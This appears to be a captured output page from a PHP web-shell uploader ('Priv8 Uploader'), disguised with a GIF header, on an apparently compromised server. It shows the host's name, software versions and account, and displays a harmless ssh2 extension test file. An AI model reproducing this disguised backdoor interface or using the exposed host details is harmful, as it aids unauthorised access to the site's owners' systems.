GIF89a;

Priv8 Uploader By InMyMine7

Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
HEX
HEX
Server: Apache/2.4.53 (Unix) OpenSSL/1.0.2k-fips
System: Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User: vacationcoursesc (1031)
PHP: 7.3.28
Disabled: NONE
Upload Files
File: //usr/local/src/ssh2-1.3.1/tests/ssh2_auth_key.phpt
--TEST--
ssh2_auth_pubkey_file() - Tests authentication with a key
--SKIPIF--
<?php require('ssh2_skip.inc'); ?>
--FILE--
<?php require('ssh2_test.inc');

$ssh = ssh2_connect(TEST_SSH2_HOSTNAME, TEST_SSH2_PORT);

var_dump(ssh2_auth_pubkey_file($ssh, TEST_SSH2_USER, TEST_SSH2_PUB_KEY, TEST_SSH2_PRIV_KEY));

$cmd=ssh2_exec($ssh, 'echo "testing echo with key auth"' . PHP_EOL);

var_dump($cmd);

stream_set_blocking($cmd, true);
$response = stream_get_contents($cmd);
echo $response . PHP_EOL;

--EXPECTF--
bool(true)
resource(%d) of type (stream)
testing echo with key auth